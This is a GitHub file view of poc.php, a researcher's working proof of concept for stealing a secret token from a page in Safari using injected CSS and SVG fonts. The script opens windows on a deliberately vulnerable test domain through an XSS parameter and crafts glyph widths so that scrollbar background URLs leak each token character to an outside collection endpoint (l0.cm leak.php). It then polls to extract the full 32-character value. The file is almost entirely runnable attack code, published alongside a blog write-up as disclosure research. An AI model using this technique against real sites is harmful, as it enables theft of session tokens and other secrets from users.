-
Notifications
You must be signed in to change notification settings - Fork 2
/
poc.php
92 lines (88 loc) · 2.85 KB
/
poc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php
session_start();
$_SESSION = array();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Data Exfiltration via CSS + SVG Font - PoC (Safari only)</title>
</head>
<body>
<h1>Data Exfiltration via CSS + SVG Font - PoC (Safari only)</h1>
<p>The details can be found in my blog post: <a href="https://mksben.l0.cm/2021/11/css-exfiltration-svg-font.html">English</a> <a href="https://masatokinugawa.l0.cm/2021/11/css-exfiltration-svg-font.html">日本語</a></p>
<button onclick="go()">Go</button>
<script>
const CHARSET = "0123456789abcdef";
const PREFIX = '"';
const WIDTH = "600";//px
const LENGTH = 32;
function escape(str) {
return str.replace(/"/g, '"');
}
function go(){
setTokenReader();
openAttackWindows('');
}
function openAttackWindows(extractedToken) {
const prefix = PREFIX + extractedToken;
for (let a = 0; a < CHARSET.length; a++) {
let glyphs = [];
const target = CHARSET[a];
for (let b = 0; b < CHARSET.length; b++) {
const unicode = CHARSET[b];
if (target === unicode) {
glyphs.push(`<glyph unicode="${escape(prefix)}${escape(unicode)}" horiz-adv-x="99999" d="M1 0z"/>`);
} else {
glyphs.push(`<glyph unicode="${escape(unicode)}" horiz-adv-x="0" d="M1 0z"/>`);
}
}
const svg = `
<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000" />
${glyphs.join("\n")}
</font>
</defs>
</svg>`;
const style = `
<style>#leakme{
display:block;
font-family:"hack";
white-space:nowrap;
overflow-x: auto;
width:${WIDTH}px;
background:lightblue;
}
#leakme::-webkit-scrollbar {
background: blue;
}
#leakme::-webkit-scrollbar:horizontal {
background: url(https://l0.cm/svg_font/leak.php?PHPSESSID=<?php echo urlencode(session_id());?>&leak=${encodeURIComponent(extractedToken+target)});
}
</style>`;
window.open(`//vulnerabledoma.in/svg_font/xss.html?xss=${encodeURIComponent(svg.trim()+style.trim())}`, `win-${target}`, `width=1,height=1,top=0,left=${a*50}`);
}
}
function setTokenReader() {
const sleep = msec => new Promise(resolve => setTimeout(resolve, msec));
let currentTokenLength = 1;
(async function() {
const res = await fetch('token.php?PHPSESSID=<?php echo urlencode(session_id());?>');
const leakedToken = await res.text();
if (leakedToken.length === currentTokenLength) {
document.getElementById('token').textContent = leakedToken;
currentTokenLength++;
openAttackWindows(leakedToken);
}
if (LENGTH !== leakedToken.length) {
await sleep(1000);
arguments.callee();
}
})();
}
</script>
<div>The secret is: <b id="token"></b></div>
</body>
</html>